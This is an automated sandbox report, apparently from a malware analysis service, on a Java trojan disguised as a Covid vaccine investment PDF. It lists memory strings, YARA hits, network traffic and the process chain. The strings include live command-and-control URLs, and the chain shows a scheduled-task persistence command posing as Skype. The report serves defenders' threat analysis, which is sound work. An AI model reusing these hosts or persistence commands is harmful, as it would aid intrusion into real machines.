Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl;
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crlA
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crlk
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g6.crl
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g6.crl0L
Source: java.exe, 00000006.00000002.207053367.0000000004800000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238616990.0000000009FA2000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253246566.000000000A5A2000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520749260.0000000009FA0000.00000004.00000001.sdmp	String found in binary or memory: http://java.oracle.com/
Source: java.exe, 00000010.00000002.515417464.0000000004BAB000.00000004.00000001.sdmp	String found in binary or memory: http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5
Source: javaw.exe, 0000000B.00000003.228995438.00000000150EA000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.239181413.000000000A03C000.00000004.00000001.sdmp, java.exe, 0000000D.00000003.248758362.0000000015676000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253348649.000000000A630000.00000004.00000001.sdmp, java.exe, 00000010.00000003.277137784.0000000014FD2000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521112026.000000000A02F000.00000004.00000001.sdmp	String found in binary or memory: http://null.oracle.com/
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0F
Source: javaw.exe, 0000000B.00000002.241025352.000000000A317000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0M
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com3
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com;
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.comA0
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.comC
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.comK
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.coms
Source: wscript.exe, 0000000A.00000003.214763026.0000000004F0D000.00000004.00000001.sdmp	String found in binary or memory: http://ops.com.pa/jre7.zip
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://policy.camerfirma.com
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp	String found in binary or memory: http://str-master.pw
Source: java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	String found in binary or memory: http://str-master.pw/strigoi/server/ping.php
Source: java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp	String found in binary or memory: http://str-master.pw/strigoi/server/ping.php?
Source: java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	String found in binary or memory: http://str-master.pw/strigoi/server/ping.php?lid=
Source: java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	String found in binary or memory: http://str-master.pw/strigoi/server/ping.php?lid=RUGR-ATSN-D14P-VBXX-49LW
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl
Source: javaw.exe, 0000000B.00000002.242664932.000000001582F000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
Source: javaw.exe, 0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp	String found in binary or memory: http://www.allatori.com
Source: javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: java.exe, 0000000D.00000003.248758362.0000000015676000.00000004.00000001.sdmp, java.exe, 00000010.00000003.277137784.0000000014FD2000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl
Source: javaw.exe, 0000000B.00000002.242664932.000000001582F000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.chambersign.org
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: javaw.exe, 0000000B.00000002.238157882.0000000004EA7000.00000004.00000001.sdmp	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238157882.0000000004EA7000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.240964215.000000000A300000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp	String found in binary or memory: https://github-releases.githubusercontent.com/51361554/623ef000-9da4-11e9-9ea2-d90155318994?X-Amz-Al
Source: javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/kristian/system-hook/releases/download/3.5/system-hook-3.5.jar
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar
Source: javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jar
Source: javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.237181358.0000000004A90000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	String found in binary or memory: https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS3
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPSA
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPSc
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPSk
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPSs

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.3:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.154:443 -> 192.168.2.3:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.23.99.190:443 -> 192.168.2.3:49729 version: TLS 1.2

System Summary:

Source: 00000006.00000002.207844794.0000000014D78000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000002.00000003.200309664.0000000002C90000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: Process Memory Space: 7za.exe PID: 384, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: C:\jar\keuqzwqbvn\resources\umxybpjabc, type: DROPPED	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: C:\Users\user\fukvowbkrs.js, type: DROPPED	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/

Source: classification engine

Classification label: mal80.troj.expl.evad.winJAR@34/30@13/7

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File created: C:\Users\user\fukvowbkrs.js

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5708:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:384:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3096:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6364:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4904:120:WilError_01

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File created: C:\Users\user\AppData\Local\Temp\hsperfdata_user

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Section loaded: C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\jvm.dll

Source: C:\Windows\SysWOW64\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\7za.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: javaw.exe	String found in binary or memory: k.in-addr.arpa
Source: java.exe	String found in binary or memory: J-addWaiter
Source: java.exe	String found in binary or memory: k.in-addr.arpa

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Source: unknown	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl >> C:\cmdlinestart.log 2>&1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl
Source: unknown	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\wscript.exe wscript C:\Users\user\fukvowbkrs.js
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: unknown	Process created: C:\Windows\System32\notepad.exe C:\Windows\system32\NOTEPAD.EXE C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Source: unknown	Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Source: unknown	Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript C:\Users\user\fukvowbkrs.js
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Data Obfuscation:

Yara detected Allatori_JAR_Obfuscator

Show sources

Source: Yara match	File source: 00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.352640886.000000000461D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.520047801.000000000A56A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.520214796.000000000A5A2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.352612506.0000000004610000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.317682510.0000000004E1D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.317809866.0000000004E65000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.520453366.0000000009F6C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.352788509.0000000004665000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.317648149.0000000004E10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.253164708.000000000A56E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 720, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 4952, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaw.exe PID: 3164, type: MEMORY

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277B377 push 00000000h; mov dword ptr [esp], esp
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277BB27 push 00000000h; mov dword ptr [esp], esp
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277B907 push 00000000h; mov dword ptr [esp], esp
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277A1DB push ecx; ret
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277A1CA push ecx; ret
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0277C437 push 00000000h; mov dword ptr [esp], esp
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_02782D44 push eax; retf
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_0281FFF0 pushad ; iretd
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 6_2_02817C51 push cs; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 11_3_150F0869 push ds; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 11_3_150F0869 push ds; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 11_3_150F0869 push ds; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 11_3_150F0869 push ds; retf
